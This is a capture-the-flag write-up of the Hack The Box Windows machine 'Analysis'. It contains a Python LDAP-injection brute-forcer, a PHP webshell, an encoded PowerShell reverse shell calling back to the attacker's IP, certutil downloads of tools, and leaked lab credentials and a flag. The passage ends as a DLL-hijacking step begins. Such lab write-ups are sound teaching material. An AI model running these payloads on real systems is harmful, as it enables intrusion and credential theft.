[HTB] Analysis - WriteUp
Note :
This box was really funny to Solve, I specially loved the LDAP Injection part, and this is why I made this Writeup. I hope you will enjoy it as i did!
After that I took a look at the Ippsec Analysis Walktrought, I definitely suggest you to see it. His methode and Scripting Skills for the LDAP Injection part are A-MA-ZING! And this push me to Sharp my code later!
- V0lk3n
Written by V0lk3n
Table of Contents
Analysis - Information
OS : Windows
Difficulty : Hard
IP Address : 10.129.230.179
Creator : UVision
Enumeration
First I add to my /etc/hosts
file the box ip address and the hostname analysis.htb
as it’s the name of the box and it can be the default domain used.
Then I run a nmap scan.
$ nmap -A -p - analysis.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 23:29 CET
Nmap scan report for analysis.htb (10.129.230.179)
Host is up (0.066s latency).
Not shown: 65507 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
| http-server-header:
| Microsoft-HTTPAPI/2.0
|_ Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-07 22:30:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
|_ HY000
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
...
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-03-07T22:31:29
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.86 seconds
As kerberos is running, I start an user enumeration using kerbrute on it. (Note that i removed the duplicated username.)
$ ./kerbrute_linux_amd64 userenum -d analysis.htb --dc 10.129.230.179 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/07/24 - Ronnie Flathers @ropnop
2024/03/07 23:35:02 > Using KDC(s):
2024/03/07 23:35:02 > 10.129.230.179:88
2024/03/07 23:36:04 > [+] VALID USERNAME: jdoe@analysis.htb
2024/03/07 23:36:49 > [+] VALID USERNAME: ajohnson@analysis.htb
2024/03/07 23:37:56 > [+] VALID USERNAME: cwilliams@analysis.htb
2024/03/07 23:38:51 > [+] VALID USERNAME: wsmith@analysis.htb
2024/03/07 23:40:49 > [+] VALID USERNAME: jangel@analysis.htb
2024/03/07 23:48:08 > [+] VALID USERNAME: technician@analysis.htb
2024/03/08 00:26:31 > [+] VALID USERNAME: badam@analysis.htb
My next step was to enumerate Subdomain, and to do this I used dnsrecon
, and I retrieved a lot of subdomain records.
$ dnsrecon -d analysis.htb -n 10.129.230.179 -D /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t brt
[*] Using the dictionary file: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt (provided by user)
[*] brt: Performing host and subdomain brute force against analysis.htb...
[+] A www.analysis.htb 192.168.1.100
[+] A internal.analysis.htb 192.168.1.100
[+] A gc._msdcs.analysis.htb 10.129.230.179
[+] A domaindnszones.analysis.htb 10.129.230.179
[+] A forestdnszones.analysis.htb 10.129.230.179
I add internal.analysis.htb
to my /etc/hosts
file as it seem to be the only one that i can access from my host, and start my enumeration against it.
I start by directory/files fuzzing using gobuster.
$ gobuster dir -u http://internal.analysis.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/users (Status: 301) [Size: 170] [--> http://internal.analysis.htb/users/]
/dashboard (Status: 301) [Size: 174] [--> http://internal.analysis.htb/dashboard/]
/Users (Status: 301) [Size: 170] [--> http://internal.analysis.htb/Users/]
/employees (Status: 301) [Size: 174] [--> http://internal.analysis.htb/employees/]
...
I found three interesting directory, /users
, /dashboard
and employees
, so let’s enumerate them one by one.
Note : For these step, I learned with Ippsec video that I can use the tool
feroxbuster
, which will look recursively in these directory, which is awesome.
Web Enumeration - Dashboard Path
Fuzzing directory/files with gobuster against /dashboard
directory.
$ gobuster dir -u http://internal.analysis.htb/dashboard/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/dashboard/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 38]
/img (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/img/]
/uploads (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/uploads/]
/upload.php (Status: 200) [Size: 0]
/details.php (Status: 200) [Size: 35]
/css (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/css/]
/Index.php (Status: 200) [Size: 38]
/lib (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/lib/]
/form.php (Status: 200) [Size: 35]
/js (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/js/]
/logout.php (Status: 302) [Size: 3] [--> ../employees/login.php]
/404.html (Status: 200) [Size: 13143]
/tickets.php (Status: 200) [Size: 35]
/emergency.php (Status: 200) [Size: 35]
...
A lot of result, but browsing these show nothing relevant excepted blank page. So let’s move on.
Web Enumeration - Employees Path
Fuzzing directory/files using gobuster against /employees
directory.
$ gobuster dir -u http://internal.analysis.htb/employees/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/employees/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 1085]
I found a login page.
Apparently, I need to use an email and password to login, guessing credentials doesn’t work. Of course I can attempt to brute-force the page with the email recolted with kerbrute
, but as im at my enumeration steps, I prefere to move on.
Web Enumeration - Users Path
Fuzzing directory/files using gobuster against /users
directory.
$ gobuster dir -u http://internal.analysis.htb/users/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/users/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/list.php (Status: 200) [Size: 17]
I found a page named list.php
. Browsing it reveal an error : missing parameter
.
So let’s fuzzing the paremeters.
For this I used the tool called wfuzz
using the large.txt
parameter wordlist from Arjun. You can find it bellow :
$ wfuzz -c -w Documents/pentest-toolset/wordlists/params/params-large.txt --hc=404 'http://internal.analysis.htb/users/list.php?FUZZ=FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://internal.analysis.htb/users/list.php?FUZZ=FUZZ
Total requests: 25890
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000007: 200 0 L 2 W 17 Ch "15 - 15"
000000036: 200 0 L 2 W 17 Ch "aao - aao"
000000030: 200 0 L 2 W 17 Ch "aai - aai"
...
Runing the tool and ignoring 404 error, I got full of false positive.
This is because I alway get an answer from the missing parameter
page. So run again the tool and this time ignore every content of 17 characters to ignore the missing parameter
response.
$ wfuzz -c -w Documents/pentest-toolset/wordlists/params/params-large.txt --hc=404 --hh=17
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://internal.analysis.htb/users/list.php?FUZZ=FUZZ
Total requests: 25890
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000013172: 200 0 L 11 W 406 Ch "name - name"
Total time: 126.4715
Processed Requests: 25890
Filtered Requests: 25889
Requests/sec.: 204.7100
Nice, I’ve found the parameter name
and the page contain 406 characters
. Let’s try to browse it to see how its look like.
Nice, now I try to put as value for the name
parameter, the users found with kerbrute, and got a match.
As you can see, the name technician
is reflected into the tables Username
and First Name
.
My first attempt was to look for SQL injection, as shown the nmap scan
, mysql
is runing, so I was thinking that the tables was taking SQL query to retrieve the correct data.
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx?
But I was wrong. Looking back at my nmap scan, I searched for which attack may be possible, and I seen that ldap was runing too.
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
So maybe we have a ldap injection there.
As im not really good to it, I do a bit of google search and read some ressources about ldap injection
. Bellow is the better ressources that i’ve read.
After reading these documentations, i started to look if an LDAP Injection
was possible, for this i removed the technician
value, and replaced it with a *
(star character) which is used as wildcard in LDAP.
It work! It retrieved the value technician
using wildcard!
Time to exploit this.
Exploitation
Exploitation - LDAP Injection
Note : You realy should look at Ippsec video for this step. So better than what I do here, as I’m clearly bad at coding.
To exploit it, I’ve developed a Python Tool. This tool was based on the script found on Hacktricks LDAP injection blog post and Payload All The Things LDAP Injection.
At the beginning i’ve made two script.
The first script was enumerating the valid arguments on the request, and look for which arguments was bruteforceable to retrieve data.
The second script bruteforce the arguments data.
Finally I’ve combined both scripts.
You can find both of my final code bellow :
ldap-burn.py - Optimized by ChatGPT
Here is the final code (Version Optimized by ChatGPT):
#!/usr/bin/python3
import sys
import requests
import string
from termcolor import colored
# Constants
URL_BASE = 'http://internal.analysis.htb/users/list.php?name=*)('
SPECIAL_CHARS = "_@{}-/()!*\"$%=^[]:;"
ALPHABET = string.ascii_letters + string.digits + SPECIAL_CHARS
# Function to enumerate attributes
def enumerate_attributes():
print(colored("\nStarting Attributes Enumeration : \n", 'blue'))
discovered_attributes = []
for attribute in ATTRIBUTES:
r = requests.get(URL_BASE + str(attribute) + "=*")
sys.stdout.write(colored("Attributes Enumeration Target : ", 'red') + URL_BASE + str(attribute) + f"\r")
if 'technician' in r.text:
discovered_attributes.append(str(attribute))
print(colored("\n\nRecovered Attributes : ", 'green'))
print(discovered_attributes)
print("\n")
return discovered_attributes
# Function to find bruteforcable attributes
def find_bruteforcable_attributes(attributes):
bruteforcable_attributes = []
for attribute in attributes:
for char in ALPHABET:
r = requests.get(URL_BASE + str(attribute) + "=" + str(char) + "*")
sys.stdout.write(colored("Looking for bruteforcable attribute : ", 'red') + URL_BASE + str(attribute) + "=" + str(char) + f"\r")
if 'technician' in r.text:
bruteforcable_attributes.append(str(attribute))
break
print(colored("\n\nFound Bruteforcable Attributes : ", 'green'))
print(bruteforcable_attributes)
print("\n")
return bruteforcable_attributes
# Function to perform LDAP injection
def perform_bruteforce(attributes):
print(colored("Starting Bruteforcing...\n", 'blue'))
recovered_data = {}
for attribute in attributes:
url = URL_BASE + attribute + '='
data = ""
while True:
valid_char = False
for char in ALPHABET:
payload = url + str(char)
r = requests.get(payload + "*")
sys.stdout.write(colored("Bruteforcing : ", 'red') + payload + f"\r")
if 'technician' in r.text:
url = payload
data += char
valid_char = True
break
if not valid_char:
print(colored("\n\nNo character found, attempting to bypass wildcard...\n", 'yellow'))
for char in ALPHABET:
payload = url + "*" + str(char)
r = requests.get(payload + "*")
sys.stdout.write(colored("Bypassing wildcard : ", 'red') + payload + f"\r")
if 'technician' in r.text:
print(colored("\n\nValid special character found, returning to normal bruteforcing...\n", 'yellow'))
url = payload
data += char
valid_char = True
break
if not valid_char:
print(colored("\n\nNo additional character found for attribute", 'yellow'), attribute)
break
print(colored("\n\nRecovered data for attribute", 'green'), attribute + ':', url)
recovered_data[attribute] = url
return recovered_data
# Main function
def main():
discovered_attributes = enumerate_attributes()
bruteforcable_attributes = find_bruteforcable_attributes(discovered_attributes)
recovered_data = perform_bruteforce(bruteforcable_attributes)
return recovered_data
if __name__ == "__main__":
# List of attributes
ATTRIBUTES = (
'accessHint', 'accountHint', 'audio', 'businessCategory', 'c', 'carLicense', 'cn', 'configPtr', 'departmentNumber',
'description', 'destinationIndicator', 'displayName', 'employeeNumber', 'employeeType', 'facsimileTelephoneNumber',
'generationQualifier', 'givenName', 'homeFax', 'homePhone', 'initials', 'internationalISDNNumber', 'jpegPhoto', 'l',
'labeledURI', 'mail', 'manager', 'middleName', 'mobile', 'o', 'objectClass', 'organizationalStatus', 'otherMailbox',
'ou', 'pager', 'personalTitle', 'photo', 'physicalDeliveryOfficeName', 'postalAddress', 'postalCode', 'postOfficeBox',
'preferredDeliveryMethod', 'preferredLanguage', 'registeredAddress', 'roomNumber', 'secretary', 'seeAlso', 'sn', 'st',
'street', 'telephoneNumber', 'teletexTerminalIdentifier', 'telexNumber', 'thumbNailLogo', 'thumbNailPhoto', 'title',
'uid', 'uniqueIdentifier', 'userCertificate', 'userPKCS12', 'userPassword', 'userSMIMECertificate', 'x121Address', 'x500UniqueIdentifier'
)
recovered_data = main()
print(colored("\nNo more bruteforcable data on the provided arguments list...\n", 'yellow'))
print(colored("Recovered data for attributes:\n", 'blue'))
for attribute, value in recovered_data.items():
print(colored(attribute + ':', 'yellow'), value)
As said before, the tool will :
- Enumerate the valid arguments which is in the list.
- Look if we can retrieve data by brute forcing, and if yes, on which arguments.
- Finally it bruteforce these arguments to retrieve data.
- Additionally, once no more character are found on the data, it use a way to bypass the wildcard asterix to count it as a character instead of a wildcard.
Now I run the tool to automate the LDAP Injection.
And here are the retrieved data :
Recovered data for attributes:
cn: http://internal.analysis.htb/users/list.php?name=*)(cn=technician
description: http://internal.analysis.htb/users/list.php?name=*)(description=97NTtl*4QP96Bv
displayName: http://internal.analysis.htb/users/list.php?name=*)(displayName=technician
givenName: http://internal.analysis.htb/users/list.php?name=*)(givenName=technician
I guess that the description string 97NTtl*4QP96Bv
may be a password, and I use it on the http://internal.analysis.htb/employees/login.php
page, with the technician@analysis.htb
email found with kerbrute.
And it worked! I successfully logged in.
Exploitation - Getting a web shell
First I start to enumerate the plateform.
The dashboard show a To do list and some message not relevant at all.
There is a tickets menu, where I can see few interesting information.
There is two unresolved issue, hta
file seem not working and there is some Active Directory login
issue, which seem to be related to kerberos authentication.
There is an Emergency menu, not interesting at first look.
A SoC menu, which look interesting because I can send file to be analyzed by analysts
. And with the box name, it may be a hint for our reverse shell.
Based on the ticket, sending an hta payload
would not work. As the plateform seem to use PHP, i tried to send some payload.
To see whats going on, I try to send a php file with a command to print Hello
.
I load the file and press Upload the sample
on the SoC Report menu
then intercept that request using BurpSuit, send it to repeater and execute the request.
Bellow is the content of my file.
<?php
echo "Hello";
?>
As shown, the Response display the destination path of my uploaded file. Browsing it show that the PHP code is executed.
http://internal.analysis.htb/dashboard/uploads/testfile.php
Testing various PHP payload, I see the connection happening but closed right after it.
So I tried to use a classic one liner php webshell payload.
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
I modified my BurpSuite request to replace the used payload, and overwrite my testfile.php by sending the new request.
Then i browse it and try to execute the command whoami
.
http://internal.analysis.htb/dashboard/uploads/testfile.php?cmd=whoami
Great! I got the answer analysis\svc_web
. I have a working webshell now.
Exploitation - Webshell to Reverse shell
My idea was to generate a powershell reverse shell using the tool mkpsrevshell.py
, url encode it by replacing the space with +
character, and run that as command in the webshell.
So first i generate the payload.
$ python mkpsrevshell.py 10.10.16.52 1234
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAyACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
Then i start a netcat listener on the chosen port for my payload.
$ nc -nvlp 1234
listening on [any] 1234 ...
Finally I execute my command into my webshell.
http://internal.analysis.htb/dashboard/uploads/backdoor.php?cmd=powershell+-e+JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAyACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
And I get a reverse shell!
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.16.52] from (UNKNOWN) [10.129.230.179] 62391
PS C:\inetpub\internal\dashboard\uploads> dir
R?pertoire?: C:\inetpub\internal\dashboard\uploads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 08/03/2024 22:43 114 backdoor.php
Privilege Escalation
Privilege Escalation - svc_web to webservice
A quick enumeration allowed me to find the credentials for webservice
user.
PS C:\inetpub\internal\users> type list.php
<?php
//LDAP Bind paramters, need to be a normal AD User account.
error_reporting(0);
$ldap_password = 'N1G6G46G@G!j';
$ldap_username = 'webservice@analysis.htb';
$ldap_connection = ldap_connect("analysis.htb");
I wasn’t able to connect through evil-winrm
, so i uploaded RunasCS.exe to the box.
I start a python http server on my attacker box, where RunasCS.exe is located.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
And download the executable on the target into the C:\inetpub\internal\dashboard\uploads
path.
PS C:\inetpub\internal\dashboard\uploads> certutil.exe -urlcache -f http://10.10.16.52:80/RunasCs.exe runas.exe
**** En ligne ****
CertUtil: -URLCache La commande s?est termin?e correctement.
PS C:\inetpub\internal\dashboard\uploads> dir
R?pertoire?: C:\inetpub\internal\dashboard\uploads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 08/03/2024 22:43 114 backdoor.php
-a---- 08/03/2024 23:03 51712 runas.exe
And then I used it to get a reverse shell as webservice
.
PS C:\inetpub\internal\dashboard\uploads> .\runas.exe webservice 'N1G6G46G@G!j' "cmd /c whoami"
[*] Warning: The logon for user 'webservice' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
analysis\webservice
PS C:\inetpub\internal\dashboard\uploads> .\runas.exe webservice 'N1G6G46G@G!j' cmd.exe -r 10.10.16.52:1212
[*] Warning: The logon for user 'webservice' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-96110$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2080 created in background.
Privilege Escalation - webservice to jdoe user
Here I enumerated a bit the box, and found few interesting things but leaded me no where.
C:\inetpub\internal\employees>type login.php
type login.php
<?php
$host = "localhost";
$username = "db_master";
$password = '0$TBO7H8s12yh&';
$database = "employees";
C:\inetpub\internal\employees>type encoded.txt
-----BEGIN ENCODED MESSAGE-----
Version: BCTextEncoder Utility v. 1.03.2.1
wy4ECQMCq0jPQTxt+3BgTzQTBPQFbt5KnV7LgBq6vcKWtbdKAf59hbw0KGN9lBIK
0kcBSYXfHU2s7xsWA3pCtjthI0lge3SyLOMw9T81CPqT3HOIKkh3SVcO9jdrxfwu
pHnjX+5HyybuBwIQwGprgyWdGnyv3mfcQQ==
=a7bc
-----END ENCODED MESSAGE-----
From here I uploaded WinPEAS to the box on the path C:\inetpub\internal\dashboard\uploads\
.
I start a python http server on my attacker box where WinPEAS is located.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
And download WinPEAS to the target.
C:\inetpub\internal\dashboard\uploads>certutil.exe -urlcache -f http://10.10.16.52/winPEASx64.exe winpeas.exe
certutil.exe -urlcache -f http://10.10.16.52/winPEASx64.exe winpeas.exe
**** En ligne ****
CertUtil: -URLCache La commande s�est termin�e correctement.
C:\inetpub\internal\dashboard\uploads>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num�ro de s�rie du volume est 0071-E237
R�pertoire de C:\inetpub\internal\dashboard\uploads
08/03/2024 23:26 <DIR> .
08/03/2024 23:26 <DIR> ..
08/03/2024 22:43 114 backdoor.php
08/03/2024 23:03 51�712 runas.exe
08/03/2024 23:26 2�387�456 winpeas.exe
3 fichier(s) 2�439�282 octets
2 R�p(s) 4�127�387�648 octets libres
Runing the script I found a lot of interesting things that I will come back to it later, but for now, here is what I’m looking for.
I got jdoe
AutoLogon credentials.
C:\inetpub\internal\dashboard\uploads>winpeas.exe
...
���������� Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : analysis.htb.
DefaultUserName : jdoe
DefaultPassword : 7y4Z4^*y9Zzj
Using these credenitals, I was able to get a shell as jdoe
using evil-winrm
$ evil-winrm -u jdoe -p '7y4Z4^*y9Zzj' -i analysis.htb
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>
And from there, I was able to retrieve the user.txt
flag!
*Evil-WinRM* PS C:\Users\jdoe\Desktop> type user.txt
749251e6b8eb60160707b65ebf00f47a
user.txt : 749251e6b8eb60160707b65ebf00f47a
Privilege Escalation - jdoe to Administrator
As jdoe
user, I started WinPEAS script again. And i’ve found few interesting things.
Finding about BCTextEncode :
ÉÍÍÍÍÍÍÍÍÍ͹ Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
File Permissions "C:\Users\jdoe\AppData\Local\Automation\run.bat": jdoe [AllAccess]
File Permissions "C:\inetpub\internal\dashboard\uploads\runas.exe": Users [WriteData/CreateFiles]
File Permissions "C:\inetpub\internal\dashboard\uploads\winpeas.exe": Users [WriteData/CreateFiles]
È Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
(ANALYSIS\Administrateur) run_bctextencoder: C:\Users\jdoe\AppData\Local\Automation\run.bat
Permissions file: jdoe [AllAccess]
Permissions folder(DLL Hijacking): jdoe [AllAccess]
Trigger: At log on of ANALYSIS\jdoe
*Evil-WinRM* PS C:\Users\jdoe\Documents> type C:\Users\jdoe\AppData\Local\Automation\run.bat
start "BCEncoder" "C:\Program Files\BCTextEncoder\BCTextEncoder.exe"
After trying some things realted to BCTextEncoder
, this was leading me no where once again, but I’ve found another interesting things.
Finding about Snort :
=================================================================================================
Snort(Snort)[C:\Snort\bin\snort.exe /SERVICE] - Autoload - No quotes and Space detected
Possible DLL Hijacking in binary folder: C:\Snort\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
=================================================================================================
Google about it and I find some ressources how I can exploit this.
Source : Ubuntu Security - CVE-2016-1417
Source : Packet Storm Security - CVE-2016-1417
Let’s try a DLL Hijacking on Snort.
